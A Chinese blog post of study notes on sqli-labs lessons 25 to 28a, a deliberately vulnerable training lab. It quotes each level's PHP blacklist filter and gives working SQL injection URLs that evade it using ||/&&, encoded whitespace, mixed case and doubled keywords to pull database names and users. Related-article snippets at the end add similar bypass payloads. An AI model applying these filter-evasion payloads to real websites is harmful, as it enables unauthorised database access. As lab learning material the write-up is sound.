Sqli-labs Less25-28 绕过过滤函数对字符的过滤 - GET

最新推荐文章于 2024-10-13 16:10:12 发布
最新推荐文章于 2024-10-13 16:10:12 发布
阅读量543 收藏 1
点赞数
分类专栏： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Kevinhanser/article/details/81563440
版权

本文记录 SQL 注入的学习过程，资料为 SQLi

SQLi 博客目录

Less - 25: GET - Error based - All your OR & AND belong to us - String Single Quote

  1. 源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)

        return $id;
}

  2. 思路

    本关主要为 or and 过滤，如何绕过 or 和 and 过滤。

    1. 大小写变形 Or,OR,oR
    2. 编码，hex，urlencode
    3. 添加注释 /*or*/
    4. 利用符号 and=&& or=||

  3. 报错注入 or 示例

    http://10.10.10.137/sqli-labs/Less-25/?id=1'|| extractvalue(1,concat(0x7e,database()))--+

  4. 基于报错的 and 示例

    http://10.10.10.137/sqli-labs/Less-25/?id=1&&1=1--+

Less - 25a: GET - Blind Based - ALL your OR & AND belong to us - Intiger based

  1. 源代码

    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)

        return $id;
}

  2. 思路

    不同于 25 关的是 sql 语句中对于 id，没有”的包含，同时没有输出错误项，报错注入不能用。
    其余基本上和 25 示例没有差别。此处采取两种方式：延时注入和联合注入。

  3. 测试

    http://10.10.10.137/sqli-labs/Less-25a/?id=-1 UNION select 1,@@basedir,3#

    此处我们依旧用 || &&来代替 and，or。

Less - 26: GET - Error based - All your SPACES and COMMENTS belong to us

  1. 简介

    本关结合 25 关，将空格，or，and,/*,#,–,/等各种符号过滤，此处对于 and，or 的处理方法不再赘述，参考 25.

  2. 替换

    1. 对于注释和结尾字符的我们此处只能利用构造一个’ 来闭合后面到’

    2. 对于空格，有较多的方法：

      %09 TAB 键（水平）
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键（垂直）
%a0 空格

  3. 测试

    URL 输入 ?id=1’%0b||’1

    http://10.10.10.137/sqli-labs/Less-26/?id=1'%0b||'1

    源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);             //strip out OR (non case sensitive)
        $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
        $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
        $id= preg_replace('/[--]/',"", $id);            //Strip out --
        $id= preg_replace('/[#]/',"", $id);             //Strip out #
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
        return $id;
}

    构造后的语句

    $sql="SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1";

    第一个’ 首先闭合id=’$id’ 中的’，%a0 是空格的意思, 同时%0b 也是可以通过测试的，其他的经测试是不行的。||是或者的意思，’1 则是为了闭合后面的’ 。

    构造测试语句

    http://127.0.0.1/sqllib/Less-26/?id=100%27union%0bselect%a01,2,3||%271

    也可以利用报错注入和延时注入等方式进行注入。

Less - 26a: GET - Blind Based - All your SPACES and COMMENTS belong to us - String - Single Quotes - Parenthesis

  1. 简介

    这关与 26 的区别在于，sql 语句添加了一个括号，同时在 sql 语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入，这里依旧是利用 union 注入。

  2. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
        $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
        $id= preg_replace('/[--]/',"", $id);            //Strip out --
        $id= preg_replace('/[#]/',"", $id);                     //Strip out #
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\/\\\\]/',"", $id);                //Strip out slashes
        return $id;
}

  3. 测试

    联合查询

    http://10.10.10.137/sqli-labs/Less-26a/?id=100') union%a0select%a01,2,3||('1

    explain：基础与 26 一致，我们直接用’) 闭合前面的，然后跟上自己构造的注入语句即可。最后利用（’1 进行闭合即可。

    http://10.10.10.137/sqli-labs/Less-26a/?id=100')union%a0select%a01,user(),('3

    可将user()更换为你想要的sql 语句。同时该例可以利用延时注入。前面已经有介绍了，自行构造即可。

Less - 27: GET - Error Based- All your UNION & SELECT belong to us - String - Single Quote

  1. 思路

    本关主要考察将 union，select 和 26 关过滤掉的字符。此处我们依旧和 26 关的方式是一样的，只需要将 union 和 select 改为大小写混合就可以突破

  2. 源代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
$id= preg_replace('/[--]/',"", $id);            //Strip out --.
$id= preg_replace('/[#]/',"", $id);                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out select
return $id;
}

  3. 测试

    http://10.10.10.137/sqli-labs/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1

    TIPS：uniunionon 也是可以突破限制的。亦可以利用报错注入和延时注入的语法进行注入。

    http://10.10.10.137/sqli-labs/Less-27/?id=100%27ununionion%a0SelEcT%a01,database(),3||%271

Less - 27a: GET - Blind Based- All your UNION & SELECT belong to us - Double Quotes

  1. 思路

    本关与 27 关的区别在于对于 id 的处理，这里用的是” ，同时 mysql 的错误不会在前端页面显示。

  2. 源代码

    $id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
$id= preg_replace('/[--]/',"", $id);            //Strip out --.
$id= preg_replace('/[#]/',"", $id);                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out Select
return $id;
}

  3. 测试

    http://10.10.10.137/sqli-labs/Less-27a/?id=100"%a0UnIon%a0SElecT%a01,user(),"3

    TIPs:这里说下以上 payload 我们利用最后的3 前面的” 将后面的” 给闭合掉。或者亦可以利用以前的方法1,user(),3 || “1，同时本关可以用延时注入的方法进行注入。

Less - 28: GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis

  1. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                          //strip out /*
$id= preg_replace('/[--]/',"", $id);                            //Strip out --.
$id= preg_replace('/[#]/',"", $id);                                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                    //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                               //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                    //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
return $id;
}

  2. 测试

    http://10.10.10.137/sqli-labs/Less-28/?id=100')union%a0select(1),(user()),(3)||('1

Less - 28a: GET - Blind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis

  1. 源代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                                //strip out /*
//$id= preg_replace('/[--]/',"", $id);                          //Strip out --.
//$id= preg_replace('/[#]/',"", $id);                                   //Strip out #.
//$id= preg_replace('/[ +]/',"", $id);                  //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                               //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);                  //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out spaces.
return $id;
}

  2. 思路

    本关与28 基本一致，只是过滤条件少了几个。

  3. 测试

    http://10.10.10.137/sqli-labs/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271


    http://10.10.10.137/sqli-labs/Less-28a/?id=100%27)unIon%0bsElect%0b1,user(),3||(%273

网络安全打工人
关注
专栏目录
2021-09-01 网安实验-SQL注入-绕过函数过滤
时光隧道
09-01 4万+
一：绕过给危险字符加反斜杠的过滤 解析：本代码有三个过滤，第一个是过滤将反斜线替换为双反斜线。第二个和第三个分别是将单引号和双引号转义，即在引号前面添加反斜线。有没有注意本数据库是gbk的，那我们就可以进行『宽字节』注入了。 首先直接注入测试 发现单引号被转义了。我们在URL中插入的单引号之前插入%bf，单引号是%27。反斜线是%5c。『% bf \’』就变成了『 %bf%5c%27 』，相当于再显示就变成了『縗’』，单引号出来了。则最后的SQL语句就变成了『SELECT * FROM users W
xss绕过字符过滤_XSS过滤器绕过总结
weixin_39610353的博客
12-21 1261
XSS过滤器绕过总结黑名单过滤器绕过黑名单模式下的过滤器是最常见的。他们的目标是检测特定模式并防止恶意行为。这完全是“模式”的问题，它们越准确，就越可以拦截攻击。1. 注入脚本代码主要是标签，可用于执行客户端脚本代码，例如JavaScript。 它是为此目的而设计的，当然，这是大多数过滤器阻止的第一个首选。1.1 绕过弱标签过滤简单的过滤器无法涵盖所有可能的情况，所以可以绕开它们。 以下示例仅是对...
绕过函数过滤
ChuMeng1999的博客
10-31 370
之前是对危险字符进行替换，但是有些字符的替换会影响用户的表达，那么就可以用转义的方法对用户的输入符号进行完整保留。本实验有三个部分，第一部分是自定义转义函数，第二三部分都是用标准的addslashed()函数和mysql_real_escape_string()来进行转义。GBK编码，它的编码范围是0×8140~0xFEFE（不包括xx7F），在遇到%df（ascii(223)）>ascii（128）时自动拼接%5c，因此吃掉‘\’，而%27、%20小于ascii（128）的字符就保留了。
sqli-labs第二十三关（注释过滤绕过）
qq_42266432的博客
09-02 575
从源码可知此关将注释符全部过滤掉，需要绕过，使用and ‘1’='1即可 http://localhost:90/sqli-labs-master/Less-23/?id=-1' union select 111,(select group_concat(schema_name)from information_schema.schemata),3 or '1'='1 这关没什么可说的直接爆库名，接下来爆表，字段啥的就不再演示，此关结束 ...
sqlilabs less-28~less-28a
TA不懒，但还没有添加简介
07-22 783
sqlilabs less-28~less-8a
sqli-labs学习笔记（六）less 17 绕过过滤
闵行小鱼塘
09-10 757
继续学习sqli-labs，本篇是less17
sqli-labs Less-32、33、34、35、36、37（sqli-labs闯关指南 32、33、34、35、36、37）—宽字节注入
m0_54899775的博客
12-26 1878
sqli-labs Less-32、33、34、35、36、37（sqli-labs闯关指南 32、33、34、35、36、37）—宽字节注入
Sqli-labs靶场详细攻略Less 6-10
qq_41755084的博客
10-10 952
与第五关相似，只是闭合的单引号换为了双引号。
初学SQLi-LABS过关分享Less-4
SenTouKiReI的博客
06-10 210
初学SQLi-LABS过关分享Less-4
sqli-labs Less-5解题思路
qq_35266419的博客
05-12 692
从本节开始就学习盲注，思路较 Less1-4略有不同，请仔细体会 Less-5 Get-Double injection-Single Quotes - String （1）查看页面源代码 通过页面源代码，什么都不显示 （2）猜测数据库的长度 当数据库长度正确和错误时，如上图所示 (3)现在开始猜测数据库第一位（其实盲注和前面几个的解题思路一样，只是手法稍有不同） （4）猜测数据库名称第二...
Sqli-labs之Less-28和Less-28a
m0_46315342的博客
06-04 694
                                          &nbs...
sqli-labs less-25 and/or绕过
最新发布
wanggonghanfei的博客
10-13 1191
sqli-labs less-25 and/or绕过
Less 28-28a
老司机开代码的博客
08-04 545
文章目录题目分析 题目分析 首先题目告诉我们会吃掉我们的union和select。 然后通过?id=1')%26%261=1;%00测试出来，id的是被('')包裹的。 接着看一下源码的blacklist function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_repl
SQL注入时当and、or等字符被过滤了怎么办
热门推荐
weixin_40950781的博客
08-25 1万+
SQL注入时and、or被过滤了怎么办当常用字符被注释无法使用时，通常采取以下方法（可自行搜索sql注入绕开过滤等）：0x01字母被注释（or、and等）1. 大小写变形2. 改变编码3. 添加注释4. 往字符里面插入被过滤的字符（双写法）5.利用符号形式0x02数字被注释（1、2等）6. 使用浮点数0x03 符号被注释(<、>等）7. 利用函数代替 当常用字符被注释无法使用时，通常采...
（手工）【sqli-labs28、28a】字符型注入、盲注、过滤
07-14 1139
【SQL-字符型注入、盲注、过滤】
sqllab第二十八关通关笔记(附带28a)
I_WORM的博客
03-17 357
构造payload:id=0%27)union%09all%09select%091,database(),3%09=(%271。重新构造payload:id=0%27)union%09all%09select%091,2,3%09and1=(%271。构造payload:id=-1%27)union%09all%09select%091,2,3%09and1=(%271。页面成功回显了，但是内容不是输入信息，应该是他把-1进行绝对值处理了，导致显示了id=1的内容。好，尝试进行错误注入。
SQL注入之联合注入
Jim的博客
08-13 930
过滤注释的绕过 对于#，get要url编码成%23，post提交就不用了。 GET：?id=1'%23 源码：$id = preg_replace("/#/", "", $id); --单行注释，--后加空格或其他字符才有效。 GET：?id=1'--%20 $id = preg_replace("/--/ "", $id);
sqli-labs (less-28 and less-28a)
kukudeshuo的博客
03-12 986
sqli-labs (less-28 and less-28a) less-28 进入28关，输入ID=1 查看源代码 这里发现基本与27关一样，依然采用大小写混合绕过 http://127.0.0.1/sql1/Less-28/?id=1' #回显错误 http://127.0.0.1/sql1/Less-28/?id=1');%00 #正常显示 判断闭合方式为’);%00，并且为字符型注入 确定回显位置 http://127.0.0.1/sql1/Less-28/?id=111') %a0 Un
sqli-labs：less-27（过滤select和union）
羽的博客
09-14 515
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; char...
SQLi-Labs靶场安装教程：PHPStudy与MySQL配置
"sqli-labs-master靶场安装下载" 本文将详细介绍如何在本地环境中安装和配置sqli-labs靶场，该靶场用于学习和实践SQL注入攻击的防御技巧。sqli-labs是一个非常实用的在线安全训练平台，适合初学者熟悉SQL注入漏洞的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值